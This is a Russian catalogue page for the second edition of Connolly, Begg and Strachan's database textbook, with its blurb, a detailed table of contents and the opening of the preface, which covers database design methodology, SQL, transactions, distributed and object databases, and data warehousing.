Книга
← К списку книгЗагрузка разделов…
активнаАктивные записи участвуют в каталоге и синках. Неактивная книга скрыта, но не удалена из базы.
Книга
Т.Коннолли, К.Бегг, А.Страчан
БАЗЫ ДАННЫХ:
ПРОЕКТИРОВАНИЕ, РЕАЛИЗАЦИЯ И СОПРОВОЖДЕНИЕ.
ТЕОРИЯ И ПРАКТИКА
Авторы этой книги сконденсировали на ее страницах весь свой опыт разработки баз данных для нужд промышленности, бизнеса и науки, а также обучения студентов в университете Пейсли, Шотландия. Результатом их труда стало беспрецедентно полное справочное руководство по проектированию, реализации и сопровождению баз данных. Ясное изложение теоретического и практического материала, включающего детально разработанную методологию проектирования и реализации баз данных, а также подробное рассмотрение существующих языков и стандартов, делает эту книгу доступной и полезной как студентам, так и опытным профессионалам.
Второе издание книги дополнено несколькими новыми главами, освещающими новейшие технологии в этой области — объектные базы данных, объектно-реляционные базы данных, использование СУБД в Web, использование хранилищ данных и средств комплексного анализа (OLAP), а также большим количеством новых примеров и переработанных упражнений.
Ясное и четкое изложение материала, наличие двух полномасштабных учебных примеров и множества контрольных вопросов и упражнений, позволяет использовать эту книгу не только при самостоятельном обучении, но и как основу для разработки курсов обучения любых уровней сложности — от студентов младших курсов, до аспирантов, а также как исчерпывающее справочное руководство для профессионалов.
Оглавление
Предисловие21
ЧАСТЬ I. Основные сведения35
ГЛАВА 1. Введение в базы данных36
ГЛАВА 2. Среда базы данных" 72
Г ЛАВА 3. Реляционная модель105
ГЛАВА 4. Планирование, проектирование и администрирование базы данных145
Часть II. Методология181
ГЛАВА 5. Модель “сущность-связь”182
ГЛАВА 6. Нормализация222
ГЛАВА 7. Методология концептуального проектирования баз данных259
ГЛАВА 8. Методология логического проектирования реляционных баз данных277
ГЛАВА 9. Методология физического проектирования реляционных баз данных303
ГЛАВА 10. Пример разработки концептуального проекта базы данных344
ГЛАВА 11. Пример разработки логического проекта базы данных368
ГЛАВА 12. Пример разработки физического проекта базы данных393
Часть III. Языки баз данных419
ГЛАВА 13. Язык SQL420
ГЛАВА 14. Дополнительные средства языка SQL475
ГЛАВА 15. ЯЗЫКОВЕ539
Часть IV. Некоторые аспекты эксплуатации баз данных565
ГЛАВА 16. Защита баз данных566
Г ЛАВА 17. Управление транзакциями594
ГЛАВА 18. Обработка запросов643
Часть V. Новые направления685
ГЛАВА 19. Концепции и разработка распределенных СУБД686
ГЛАВА 20. Распределенные СУБД - дополнительные концепции729
ГЛАВА 21. Введение в объектные СУБД770
ГЛАВА 22. Объектно-ориентированные СУБД794
ГЛАВА 23. Объектно-реляционные СУБД847
Часть VI. Перспективные направленияЧасть VI. Перспективные направления887
Часть VI. Перспективные направления
Часть VI. Перспективные направления
ГЛАВА 24. Web-технологии и СУБД888
ГЛАВА 25. Хранилища данных944
ГЛАВА 26. OLAP и разработка данных980
Часть VII. Приложения1001
ПРИЛОЖЕНИЕ А. Учебный проект Wellmeadows Hospital1002
ПРИЛОЖЕНИЕ Б. Структура данных в файлах с различной организацией1010
ПРИЛОЖЕНИЕ В. Сетевая модель данных1026
ПРИЛОЖЕНИЕ Г. Иерархическая модель данных1042
ПРИЛОЖЕНИЕ Д. Сравнение сетевых, иерархических и реляционных СУБД1054
ПРИЛОЖЕНИЕ Е. Краткий обзор методологии проектирования реляционных баз данных 1060
ПРИЛОЖЕНИЕ Ж. Примеры Web-сценариев1066
Список литературы1081
Дополнительная литература1093
Содержание
Предисловие21
ЧАСТЬ I. Основные сведения35
ГЛАВА 1. Введение в базы данных36
Введение38
Традиционные файловые системы39
Подход, используемый в файловых системах39
Ограничения, присущие файловым системам44
Системы с базами данных47
База данных47
Система управления базами данных — СУБД48
Компоненты среды СУБД51
Разработка базы данных — смена парадигмы54
Распределение обязанностей в системах с базами данных54
Администраторы данных и администраторы баз данных54
Разработчики баз данных55
Прикладные программисты56
Пользователи56
История развития СУБД57
Преимущества и недостатки СУБД59
Учебный проект DreamHome63
Требования к данным64
Требования к транзакциям68
Резюме69
Вопросы70
Упражнения70
ГЛАВА 2. Среда базы данных72
Трехуровневая архитектура ANSI-SPARC73
Внешний уровень75
Концептуальный уровень75
Внутренний уровень76
Схемы, отображения и экземпляры76
Независимость от данных78
Языки баз данных79
Язык определения данных — DDL79
Язык управления данными — DML80
Языки 4GL81
Модели данных и концептуальное моделирование83
Объектные модели данных84
Модели данных на основе записей84
Физические модели данных87
Концептуальное моделирование87
Функции СУБД88
Компоненты СУБД92
Архитектура многопользовательских СУБД95
Телеобработка95
Файловый сервер96
Технология “клиент/сервер”97
Системные каталоги'100
Служба IRDS100
Резюме102
Упражнения103
ГЛАВА 3. Реляционная модель105
Краткий обзор истории реляционной модели106
Используемая терминология108
Структура реляционных данных108
Математические отношения111
Отношения в базе данных112
Свойства отношений113
Реляционные ключи114
Представление схем в реляционной базе данных116
Реляционная целостность118
Определитель NULL118
Целостность сущностей119
Ссылочная целостность120
Корпоративные ограничения целостности120
Реляционные языки120
Реляционная алгебра121
Реляционное исчисление132
.3.4.3. Другие языки135
Представления136
Терминология136
Назначение представлений137
Обновление представлений138
Когда СУБД можно считать реляционной138
Резюме142
Вопросы143
Упражнения144
ГЛАВА 4. Планирование, проектирование и администрирование базы данных145
Обзор жизненного цикла информационных систем147
Жизненный цикл приложения баз данных147
Планирование разработки базы данных150
Определение требований к системе151
Сбор и анализ требований пользователей151
Проектирование базы данных152
Выбор целевой СУБД154
Разработка приложений154
Создание прототипов154
Реализация155
Конвертирование и загрузка данных156
Тестирование156
Эксплуатация и сопровождение158
Общий обзор процедуры проектирования базы данных159
Моделирование данных159
Концептуальное проектирование базы данных160
Логическое проектирование базы данных160
Физическое проектирование базы данных162
Проектирование приложения164
Проектирование транзакций164
Рекомендации по проектированию пользовательского интерфейса 165
Использование CASE-инструментов167
Выбор СУБД169
Выбор оптимальной системы170
Администрирование данных и администрирование базы данных173
Администрирование данных174
Задачи администрирования данных175
Администрирование базы данных175
Задачи администрирования базы данных176
Сравнение задач администрирования данных и базы данных176
Резюме177
Вопросы179
Упражнения179
Часть II. Методология181
ГЛАВА 5. Модель “сущность-связь"182
Концепции ER-модели183
Типы сущностей183
Атрибуты185
Типы связей190
Атрибуты связей193
Структурные ограничения194
Показатель кардинальности194
Степень участия198
Проблемы ER-моделирования199
Ловушки разветвления199
Ловушки разрыва201
EER-модель203
Суперклассы и подклассы типов сущностей204
Наследование атрибутов205
Специализация205
Генерализация208
Ограничения, накладываемые на процедуры специализации и генерализации208
Категоризация209
Создание EER-модели для представления пользователя Manager из учебного проекта DreamHome211
Спецификации требований для представления пользователя Manager 211
Создание EER-модели212
Резюме219
Вопросы220
Упражнения220
ГЛАВА 6. Нормализация222
Цель нормализации223
Избыточность данных и аномалии обновления224
Аномалии вставки225
Аномалии удаления226
Аномалии обновления226
Функциональные зависимости% 227
Определение функциональной зависимости227
Процесс нормализации229
Первая нормальная форма (1НФ)230
Вторая нормальная форма (2НФ)234
Полная функциональная зависимость234
Определение второй нормальной формы234
Третья нормальная форма (ЗНФ)237
Транзитивная зависимость237
Определение третьей нормальной формы237
Нормальная форма Бойса-Кодда (НФБК)240
Определение нормальной формы Бойса-Кодда240
Обзор процесса нормализации (от 1НФ до НФБК)243
Четвертая нормальная форма (4НФ)250
Многозначная зависимость251
Определение четвертой нормальной формы252
Пятая нормальная форма (5НФ)252
Зависимость соединения253
Определение пятой нормальной формы (5НФ)253
Резюме255
Вопросы257
Упражнения257
ГЛАВА 7. Методология концептуального проектирования баз данных259
Введение в методологию проектирования баз данных261
Что такое методология проектирования261
Концептуальное, логическое
и физическое проектирование базы данных261
Важнейшие факторы успешного завершения
проектирования базы данных262
Общий обзор процедуры проектирования базы данных262
Методология концептуального проектирования базы данных265
Этап 1. Создание локальной концептуальной модели данных на основе
представления о предметной области каждого из типов пользователей 265 Резюме274
Вопросы275
ГЛАВА 8. Методология логического проектирования реляционных баз данных 277
Методы логического проектированиябаз данных реляционного типа278
Этап 2. Построение и проверка локальной логической модели данных
для отдельных представлений каждого из типов пользователей279
Этап 3. Создание и проверка глобальной логической модели данных295
Резюме301
Вопросы302
ГЛАВА 9. Методология физического проектированияреляционныхбаз данных303
Сравнение этапов логического и физического проектирования баз данных 304
Общий обзор методологии физического проектирования базданных305
Методология физического проектирования баз данных
реляционного типа306
Этап 4. Перенос глобальной логической модели данных
в среду целевой СУБД306
Этап 5. Проектирование физического представления базы данных312
Этап 6. Разработка механизмов защиты338
Этап 7. Организация мониторинга
и настройка функционирования системы341
Резюме341
Вопросы343
ГЛАВА 10. Пример разработки концептуального проекта базы данных344
Спецификация требований представления пользователя Supervisor345
Требования к данным345
Требования к транзакциям347
Применение методологии концептуального проектирования баз данных 348 Этап 1. Построение локальной концептуальной модели данных для
представления пользователя Supervisor348
Упражнения360
Приложение 10.1. Сведения о типах сущностей, помещенные в документацию для представления Supervisor из приложения DreamHome361
Приложение 10.2. Сведения о типах связей, помещенные в документацию
для представления Supervisor из приложения DreamHome362
Приложение 10.3. Сведения об атрибутах, помещенные в документацию
для представления Supervisor из приложения DreamHome1364
Приложение 10.4. Сведения о доменах атрибутов, помещенные в документацию для представления Supervisor из приложения DreamHome (выборочно)367
ГЛАВА 11. Пример разработки логического проекта базы данных368
Применение методологии логического проектирования баз данных реляционного типа369
Этап 2. Построение и проверка локальной логической модели данных для представления пользователя Supervisor369
Этап 3. Создание и проверка глобальной логической модели данных 380
Упражнения389
Приложение 11.1. Представление Supervisor из приложения DreamHome389
Приложение 11.2. Бизнес-правила для представления Supervisor из приложения DreamHome390
Приложение 11.3. Глобальное представление для приложения DreamHome390
ГЛАВА 12. Пример разработки физического проекта базы данных393
Знакомство с СУБД Microsoft Access394
Практическое применение методологии физического проектирования реляционных баз данных394
Этап 4. Перенос глобальной логической модели данных
в среду целевой СУБД394
Этап 5, Проектирование физического представления базы данных408
Этап 6. Разработка механизмов защиты414
Этап 7. Организация мониторинга и настройка функционирования системы417
Упражнения418
Часть III. Языки баз данных419
ГЛАВА 13.Язык SQL.420
Введение в язык SQL421
Назначение языка SQL421
История языка SQL423
Особая роль языка SQL424
Используемая терминология425
Запись SQL-операторов425
Манипулирование данными426
Простые запросы427
Сортировка результатов (фраза ORDERBY)435
Использование обобщающих функций языка SQL437
Группирование результатов (фраза Group By)440
'13.3.5. Подзапросы442
Ключевые слова ANY и ALL445
Многотабличные запросы446
Ключевые слова EXISTS и NOT EXIST453
Комбинирование результирующих таблиц (операции UNION, INTERSECT и EXCEPT)454
Изменение содержимого базы данных457
Определение данных461
Идентификаторы языка SQL462
Типы данных языка SQL, определенные стандартом ISO462
Создание баз данных466
Создание таблиц (оператор CREATE TABLE)467
Удаление таблиц (оператор DROP TABLE)469
Создание индекса (оператор CREATE INDEX)469
Удаление индекса (оператор DROP INDEX)470
Сравнение языков SQL и QBE470
Резюме471
Вопросы472
Упражнения472
ГЛАВА 14. Дополнительные средства языка SQL475
Представления (виды)476
Создание представлений (оператор CREATE VIEW)477
Удаление представлений (оператор DROP VIEW)480
Разрешение представлений480
Ограничения на использование представлений481
Обновление данных в представлениях482
Использование фразы WITH CHECK OPTION483
Преимущества и недостатки представлений485
Средства поддержки целостности данных487
Дополнительные средства определения данных491
Указание ограничений поддержки целостности данных в операторе CREATE TABLE491
Изменение описания таблицы (оператор ALTER TABLE)495
Использование транзакций496
Немедленные и отложенные требования'
поддержки целостности данных497
Управление доступом к данным498
Предоставление привилегий другим пользователям (оператор GRANT)499
Отмена предоставленных пользователям привилегий (оператор REVOKE)501
Внедрение SQL-операторов в прикладные программы502
Внедрение простых SQL-операторов503
Область связи с SQL (SQLCA)504
Переменные базового языка507
Выборка данных с использованием внедренных SQL-операторов и курсоров508
Использование курсоров для модификации данных в базе514
Требования стандарта ISO ко внедренным SQL-операторам515
Интерфейс прикладного программирования (API)516
Динамический SQL517
Основные концепции динамического SQL518
Область дескрипторов SQL (SQLDA)521
Выборка данных с помощью операторов динамического SQL и динамических курсоров522
Использование динамических курсоров для модификации данных 528
Определение динамического SQL в стандарте ISO528
Стандарт SQL-92 и последующие529
Новые функции в стандарте SQL-92529
Функции, предусмотренные для включения
в последующие версии языка SQL529
Стандарт ODBC (Open Database Connectivity)530
Архитектура ODBC531
Уровни соответствия ODBC533
Резюме536
Вопросы537
Упражнения538
ГЛАВА 15. Язык QBE539
Знакомство со средствами генерации запросов СУБД Microsoft Access 540
Использование QBE для создания запросов на выборку данных543
Задание критериев отбора543
Создание многотабличных запросов546
Запросы с обобщением548
Более сложные типы QBE-запросов550
Параметрические запросы550
Перекрестные запросы551
Запросы на выборку дубликатов553
Запросы на выборку записей, не имеющих соответствия554
Запросы с автоподстановкой555
Изменение содержимого таблиц с помощью активных запросов556
Активные запросы создания таблиц557
Активные запросы удаления557
Активные запросы обновления559
Активные запросы добавления записей’560
Упражнения562
Часть IV. Некоторые аспекты эксплуатации баз данных565
ГЛАВА 16. Защита баз данных566
Защита базы данных567
Типы опасностей569
Контрмеры — компьютерные средства контроля573
Авторизация пользователей574
Представления (подсхемы)577
Резервное копирование и восстановление577
Поддержка целостности578
Шифрование578
Вспомогательные процедуры580
Контрмеры — некомпьютерные средства контроля583
Меры обеспечения безопасности и планирование защиты от непредвиденных обстоятельств583
Контроль за персоналом584
Защита помещений и хранилищ584
Гарантийные договора585
Договора о сопровождении585
Контроль за физическим доступом586
Защита ПК586
СУБД и защита в Web587
Защита статистических баз данных587
Оценка риска588
Законодательство по защите и неприкосновенности данных590
Резюме591
Вопросы592
Упражнения592
ГЛАВА 17. Управление транзакциями594
Поддержка транзакций595
Свойства транзакций597
Архитектура базы данных597
Управление параллельностью598
Необходимость управления параллельностью598
Упорядочиваемость и восстанавливаемость601
Методы управления параллельностью606
Взаимная блокировка613
Использование временных отметок615
Оптимистические технологии619
Уровень детализации блокируемых элементов данных620
Восстановление базы данных623
Необходимость восстановления624
Транзакции и восстановление625
Функции восстановления626
Методы восстановления629
Улучшенные модели транзакций632
Модель вложенных транзакций633
Хроники636
Модель многоуровневых транзакций636
Динамическая реструктуризация638
Модели рабочих потоков639
Резюме640
Вопросы641
Упражнения642
ГЛАВА 18. Обработка запросов643
Общий обзор методов обработки запросов645
Декомпозиция запросов648
Эвристический подход к оптимизации запросов653
Правила преобразований операций реляционной алгебры653
Стратегии эвристической обработки запросов658
Оценка стоимости операций реляционной алгебры659
Статистические показатели базы данных659
Операция выборки (S * 0P(R))660
Операция соединения (T=(R ex F 8))667
Операция проекции (S = П а (R))675
1" 2*' П,
Операции реляционной алгебры над множествами677
Обобщающие операции678
Конвейерная обработка678
Резюме680
Упражнения682
Часть V. Новые направления685
ГЛАВА 19. Концепции и разработка распределенных СУБД686
Введение687
Основные концепции688
Преимущества и недостатки, свойственные распределенным СУБД692
Гомогенные и гетерогенные распределенные СУБД695
Принципы организации и работы компьютерных сетей698
Функции и архитектура распределенных СУБД700
Функции распределенных СУБД700
Рекомендуемая архитектура распределенных СУБД700
Рекомендуемая архитектура мультибазовых СУБД702
Компонентная архитектура распределенных СУБД702
Разработка распределенных реляционных баз данных704
Распределение данных706
Фрагментация707
Обеспечение прозрачности в РСУБД716
Прозрачность распределенности716
Прозрачность транзакций718
Прозрачность выполнения720
Прозрачность использования СУБД723
Несколько слов в заключение723
Двенадцать правил Дейта для РСУБД724
Резюме725
Вопросы726
Упражнения727
ГЛАВА 20. Распределенные СУБД - дополнительные концепции729
Управление распределенными транзакциями730
Управление распределенной параллельностью731
Целич управления распределенной параллельностью732
Распределенная упорядоченность732
Блокирующие протоколы733
Протоколы с временными отметками736
Распределенная взаимная блокировка736
Восстановление распределенных баз данных740
Отказы в распределенной среде740
Влияние отказов на процедуры восстановления741
Двухфазная фиксация транзакций (2РС)742
Трехфазная фиксация транзакций (3PL)749
Расчленение сетей749
Модель распределенной обработки транзакций Х/Ореп752
Серверы репликации754
Основные концепции репликации данных754
Оптимизация распределенных запросов761
Преобразование распределенных запросов762
Операции соединения в распределенной среде766
Резюме766
Вопросы768
Упражнения768
ГЛАВА 21. Введение в объектные СУБД770
Специализированные приложения баз данных772
Недостатки реляционных СУБД774
Основные концепции объектно-ориентированного подхода779
Абстракция, инкапсуляция и сокрытие информации779
Объекты и атрибуты780
Идентификация объектов• 781
Методы и сообщения783
Классы784
Подклассы, суперклассы и наследование785
Перегрузка788
Полиморфизм и динамическое связывание788
Составные объекты789
Базы данных следующего поколения790
Резюме792
Вопросы793
Упражнения793
ГЛАВА 22. Объектно-ориентированные СУБД794
Введение в объектно-ориентированные модели данных и СУБД796
Перманентные языки программирования797
Альтернативные стратегии разработки ООСУБД799
Перспективы ООСУБД800
Доступ к объекту802
Перманентность803
Схемы обеспечения перманентности804
Ортогональная перманентность805
Методы подстановки указателей806
Прочие аспекты функционирования ООСУБД809
Транзакции809
Использование версий809
Эволюция схемы811
Архитектура813
Манифест объектно-ориентированных СУБД815
Преимущества и недостатки ООСУБД817
Проектирование объектно-ориентированной базы данных821
Сравнение объектно-ориентированного и логического моделирования данных821
Связи и ссылочная целостность822
Проектирование поведения825
Стандарт объектной базы данных 0DMG 2.0827
Предложения группы OMG827
Объектная модель группы ODMG831
Объектная модель (ОМ)832
Язык описания объектов ODL838
Объектно-ориентированный язык запросов OQL840
Резюме843
Вопросы845
Упражнения845
ГЛАВА 23. Объектно-реляционные СУБД847
Введение в объектно-реляционные СУБД848
Манифесты баз данных третьего поколения852
Манифест баз данных третьего поколения852
Третий манифест (Third Manifesto)853
Первые попытки создания ОРСУБД855
ОРСУБД Postgres856
Расширение Object Management Extension в СУБД INGRES859
Стандарт SQL3•860
Тип-строка860
Типы, определенные пользователем861
Определенные пользователем подпрограммы863
Полиморфизм864
Подтипы и супертипы865
Создание таблиц867
Создание запросов869
Ссылочные типы и идентичность объектов870
Типы-коллекции871
Перманентные хранимые модули873
Триггеры874
Большие объекты877
Языки SQL3 и OQL879
Обработка и оптимизация запросов879
Новые типы индексов882
Сравнительная характеристика ОРСУБД и ООСУБД883
Резюме884
Вопросы885
Упражнения885
Часть VI. Перспективные направления887
ГЛАВА 24. Web-технологии и СУБД888
Введение в Internet и Web890
Среда World Wide Web892
Протокол HTTP893
Язык HTML894
URL-адрес895
Статические и динамические Web-страницы896
Использование среды Web как платформы приложений баз данных 897
Требования, предъявляемые к интеграции СУБД в среду Web 897
Архитектура Web-СУБД898
Преимущества и недостатки интеграции СУБД в среду Web900
Методы интеграции СУБД в среду Web904
Интерфейс Common Gateway Interface (CGI)905
Передача параметров в командной строке907
Передача параметров с помощью переменных окружения908
Преимущества и недостатки интерфейса CGI909
Серверные вставки SSI910
Файлы cookies протокола HTTP911
Расширения Web-сервера911
Сравнительная характеристика CGI и API913
Язык Java913
Пакет JDBC915
Спецификации JSQL918
Пакет Java Relational Binding1 (JRB)918
Сравнительная характеристика пакетов JDBC, JSQL и JRB919
Языки сценариев920
Языки JavaScript и JScript '921
Язык VBScript923
Платформа Microsoft Active Platform923
Технологии Active Server Pages (ASP) и Active Data Objects (ADO) 926
Access 97 и генерация Web-страниц928
Архитектура Oracle Network Computing Architecture (NCA)929
Безопасность932
Прокси-серверы933
Брандмауэры933
Алгоритмы сжатия сообщений и цифровые подписи934
Цифровые сертификаты935
Церберы935
Протоколы Secure Sockets Layer (SSL) и Secure HTTP (S-HTTP) 935
Протоколы Secure Electronic Transactions (SET) и Secure Transaction Technology (STT)936
Безопасность в среде Java937
Средства защиты в технологии ActiveX939
Протокол НТТР/1.1 и язык XML939
НТТР/1.1940
Язык extensible Markup Language (XML)940
Резюме941
Вопросы942
Упражнения943
ГЛАВА 25. Хранилища данных944
Введение в хранилища данных945
Эволюция хранилищ данных945
Концепции хранилищ данных946
Преимущества технологии хранилищ данных947
Сравнение OLTP-систем и хранилищ данных948
Проблемы хранилищ данных949
Архитектура хранилища данных951
Оперативные данные951
Менеджер загрузки951
Менеджер хранилища952
Менеджер запросов953
Детальные данные953
Частично и глубоко обобщенные данные953
Архивные и резервныекопии953
Метаданные953
Средства доступа к даннымконечного пользователя954
Информационные потоки в хранилище данных956
Входной поток957
Восходящий поток957
Нисходящий поток958
Выходной поток958
Метапоток959
Инструменты и технологии хранилищ данных959
Инструменты извлечения, очистки и преобразования данных 960
СУБД для хранилища данных961
Метаданные хранилища данных963
Инструменты управления и администрирования965
Магазины данных966
Побудительные причины для создания магазинов данных968
Характеристики магазина данных968
Проектирование хранилищ данных970
Характеристики данных970
Проектирование схем типа “звезда”971
Схема “снежинка”975
Схема “звезда-снежинка”976
Резюме'977
Вопросы978
'Упражнения979
ГЛАВА 26. OLAP и разработка данных980
Интерактивная аналитическая обработка данных (OLAP)981
Многомерная OLAP-технология982
Правила для OLAP-систем985
Категории OLAP-инструментов987
Расширения языка SQL989
Технология разработки данных991
Основные понятия технологии разработки данных991
Методы разработки данных993
Прогнозирующее моделирование993
Сегментирование базы данных995
Анализ связей996
Обнаружение отклонений997
Инструменты разработки данных997
Разработка данных и хранилища данных997
Резюме998
Вопросы999
Упражнения1000
Часть VII. Приложения1001
ПРИЛОЖЕНИЕ А. Учебный проект Wellmeadows Hospital1002
АЛ* Требования к данным1003
А.2. Требования к транзакциям1008
ПРИЛОЖЕНИЕ Б. Структура данных в файлах с различной организацией1010
Б.1. Введение1011
Б.1.1. Основные понятия1011
Б.2. Неупорядоченные последовательные файлы1012
Б.З. Упорядоченные последовательные файлы1013
Б.4. Хешированные файлы1015
Б.4.1. Динамическое хеширование1017
Б.4.2. Ограничения, свойственные методу хеширования1019
Б.5. Индексы1019
Б.5Л. Индексно-последовательные файлы1020
Б.5.2. Вторичные индексы1021
Б.5.3. Многоуровневые индексы1022
Б.5.4. В+-деревья1022
ПРИЛОЖЕНИЕ В. Сетевая модель данных1026
ВЛ. Сетевая модель данных1027
2. Терминология1027
Архитектура1028
Основные структуры1029
Тип записи1030
Тип набора1030
Разработка структуры базы данных1031
Создание связей типа "многие ко многим" (M:N)1033
Управление рекурсивными связями1033
Системный тип набора1034
Реализация наборов1035
Цепочки указателей1035
Массивы указателей1036
Диаграммы экземпляров*1037
Языки описания схемы и подсхемы1037
Язык SDDL1038
Язык DML1039
Примеры использования языка DML1039
ПРИЛОЖЕНИЕ Г. Иерархическая модель данных1042
ГЛ. Иерархическая модель данных1043
Г.2. Иерархическая структура1043
Г.2 Л. Преимущества и недостатки иерархических структур1046
Г.2.2. Терминология, используемая в системе IMS1047
Г.З. Структуры базы данных1048
Г.3.1. Иерархические структуры1048
Г.3.2. Представление связей типа M:N1049
Г.4. Реализация1049
Г.4.1. Структуры хранения1050
Г.5. Описание базы данных1051
Г.5.1. Физическое ОВД1051
Г.6. Язык управления данными DML1053
ПРИЛОЖЕНИЕ Д. Сравнение сетевых, иерархических и реляционных СУБД1054
Д.1. Сетевая модель данных1055
Д.2. Иерархическая модель данных1055
Д.З. Реляционная модель данных1055
Д.4. Сводная сравнительная характеристика систем баз данных1056
ПРИЛОЖЕНИЕ Е. Краткий обзор методологии проектирования реляционных баз данных1060
Этап 1. Создание локальной концептуальной модели данных исходя из представления о предметной области каждого из типов пользователей 1061
Этап 2. Построение и проверка локальной логической модели данных на основе представления о предметной области каждого из типов пользователей1062
Этап 3. Создание и проверка глобальной логической модели данных 1063
Этап 4. Перенос глобальной логической модели данных в среду целевой СУБД1064
Этап 5. Проектирование физического представления базы данных1064
Этап 6. Разработка механизмов защиты1065
Этап 7. Организация мониторинга и настройка функционирования системы1065
ПРИЛОЖЕНИЕ Ж.Примеры Web-сценариев1066
Ж.1. JavaиJDBC1067
Ж.2. JavaиJSQL1069
Ж.З. JavaиJRB1070
Ж.4. JavaScript1071
Ж.5. Технологии ASP и ADO1072
Ж.6. Картридж PL/SQL для Oracle1077
Список литературы1081
Дополнительная литература1093
Глава 21093
Глава 31093
Глава 41094
Глава 51094
Глава 61094
Главы 7 и 81095
Глава 91095
Главы 13 и 141095
Глава 151095
Глава 161095
Глава 171096
Глава 181097
Главы 19 и 201097
Глава 221098
Глава 231098
Глава 241098
Глава 251099
Глава 261099
Приложение Б1099
Приложение В1100
Приложение Г1100
Предметный указатель1101
Предисловие
Основные сведения ■
За последних 30 лет в области теории систем баз данных была проведена серия исключительно продуктивных исследований. Полученные результаты вполне можно считать наиболее важным достижением информатики. Базы данных стали основой информационных систем и в корне изменили методы работы многих организаций. В частности, развитие данной технологии в последние годы привело к созданию весьма мощных и интуитивно понятных систем. Все это сделало системы баз данных доступными широкому кругу пользователей. К сожалению, кажущаяся простота данных систем способствовала тому, что пользователи стали самостоятельно создавать базы данных и приложения, не имея достаточных знаний о методах проектирования эффективно работающих систем. Поэтому, один раз возникнув, “кризис программного обеспечения”, или, как его еще называют, “депрессия программного обеспечения”, продолжается и поныне.
Основанием для написания этой книги стал многолетний опыт работы автора в качестве консультанта по проектированию баз данных для создаваемого программного обеспечения, а также по разрешению проблем (что возможно далеко не всегда), вызванных несоответствием существующих систем предъявляемым к ним требованиям. Кроме того, занимаясь преподавательской работой, автор столкнулся с аналогичными проблемами, возникающими в совершенно иной пользовательской среде — среди студентов. Поэтому целью написания данной книги стало создание учебного пособия, в котором ясно и четко были бы изложены практические основы теории баз данных, в частности конкретная методология проектирования баз данных, предназначенная для использования как профессиональными разработчиками, так и непрофессионалами.
Предложенная в этой книге методология работы с реляционными Системами Управления Базами Данных (в дальнейшем — СУБД), доминирующими в настоящее время в бизнес-приложениях, успешно прошла проверку временем как в практической, так и в академической среде. Проектирование баз данных состоит из трех фаз: концептуальной, логической и физической. Первая фаза предусматривает создание концептуальной модели данных, не зависящей от каких-либо физических характеристик. Во второй фазе, назначение которой состоит в создании логической модели данных, концептуальная модель подвергается доработке посредством удаления элементов, которые не могут быть реализованы в реляционных системах. В третьей фазе логическая модель данных преобразуется в физический проект, предназначенный для реализации в среде конкретной целевой СУБД. При этом анализируются структуры хранения данных и методы доступа, необходимые для эффективной работы с базой данных, размещенной на внешних запоминающих устройствах.
Каждая из фаз предлагаемой методологии представлена в виде последовательности этапов. Предполагается, что неопытный проектировщик будет выполнять эти этапы в указанной последовательности, придерживаясь приведенных рекомендаций. Более опытному разработчику не так уж обязательно жестко придерживаться данной методологии, ее, скорее, следует использовать как некую основу или контрольный перечень необходимых действий. Чтобы облегчить читателю процесс изучения методологии и понимания некоторых важных вопросов, в трех главах этой книги дано подробное описание практического примера — учебного проекта, получившего название DreamHome. Помимо этого, в приложении А, “Учебный проект Wellmeadows Hospital”, приводится описание еще одного учебного проекта, называемого Wellmeadows Hospital и предназначенного для того, чтобы читатель смог применить на практике предложенную ему методологию.
Что нового во втором издании
Первое издание книги было существенно переработано с целью повысить ее читабельность, обновить или расширить уже существующий и включить новый материал. Ниже перечислены основные изменения, которые были внесены в книгу при подготовке ее второго издания.
Описание расширенной модели “сущность-связь” (Enhanced EntityRelationship model — EER), дополненной понятием категоризации.
Описание нормализации расширено обсуждением четвертой и пятой нормальных форм.
Методология проектирования баз данных более явно делится на три фазы: концептуальную, логическую и физическую, каждая из которых описана в отдельной главе. Вслед за этой главой идут три главы с описанием учебного примера использования предлагаемой методологии на практике.
В главе, в которой рассматривается пример физического проектирования базы данных, в качестве целевой СУБД используется СУБД Access фирмы Microsoft.
Описание языка SQL расширено рассмотрением стандарта Open Database Connectivity (ODBC).
Если раньше вопросы обеспечения целостности и безопасности данных рассматривались в одной главе, то теперь они разнесены по отдельным главам и описываются более обстоятельно.
Описание методов управления транзакциями дополнено обсуждением усовершенствованных моделей транзакций.
Добавлена новая глава об обработке запросов.
Прежняя глава о распределенных базах данных разделена на две главы. Первая знакомит с понятиями и методами разработки распределенных баз данных, а вторая содержит подробное описание методов управления распределенными транзакциями, поддержки согласованности и восстановления данных, а также включает новый материал о серверах репликации и последней модели обработки распределенных транзакций (Distributed Transaction Processing — DTP), называемой X/Open.
Прежняя глава об объектных базах данных разбита на три главы. В первой главе сформулированы требования, связанные с дальнейшим усовершенствованием приложений баз данных, а также основные понятия объектно-ориентированной парадигмы. Во второй главе расширен и обновлен материал об объектно-ориентированных СУБД, включающий выпущенную в 1997 году обновленную версию стандарта ODMG (Object Database Management Group). В третьей главе дается существенно расширенное описание новейшей концепции объектно-реляционных СУБД и дополнительно предлагается обзор очередного выпуска стандарта языка SQL — SQL3.
Добавлена новая глава о Web-технологиях, использующих СУБД.
Включена новая глава о технологии создания и использования хранилищ данных.
Добавлена новая глава об оперативной аналитической обработке (Online Analytical Processing — OLAP) и методах так называемой “разработки” данных.
На кого рассчитана эта книга
Эта книга представляет собой учебное пособие для одно- или двух-семестрового курса, посвященного управлению базами данных или проектированию баз данных, для студентов младших и старших курсов, а также для аспирантов. Курсы, как правило, включаются в учебные планы следующих специальностей: информационные системы, информационные технологии в бизнесе, информатика и др.
Кроме того, как справочное пособие эта книга может быть полезна опытным специалистам в области информационных технологий — например, системным аналитикам или проектировщикам, прикладным или системным программистам, разработчикам баз данных, а также всем тем, кто занимается самообразованием. Благодаря широкому распространению баз данных, в наши дни такие профессионалы есть или должны быть в любой фирме, использующей в своей деятельности базы данных.
Желательно, чтобы студенты имели базовые знания об организации файлов и структурах данных. Перед чтением главы 9, в которой описывается физическая структура базы данных, и главы 18, посвященной обработке запросов, рекомендуется ознакомиться с основными понятиями, используемыми в упомянутой области, которые изложены в приложении Б, “Структура данных в файлах с различной организацией”. Однако лучше всего, если эти знания будут получены на каком-то предварительном курсе. Если это невозможно, то в таком случае материал приложения Б следует освоить в самом начале курса изучения баз данных — например, непосредственно после главы 1, “Введение в базы данных”.
Понимание основ языков программирования высокого уровня, например языка С, весьма желательно при чтении разделов 14.5 и 14.6, которые посвящены вложенным и динамическим операторам языка SQL.
Отличительные особенности книги
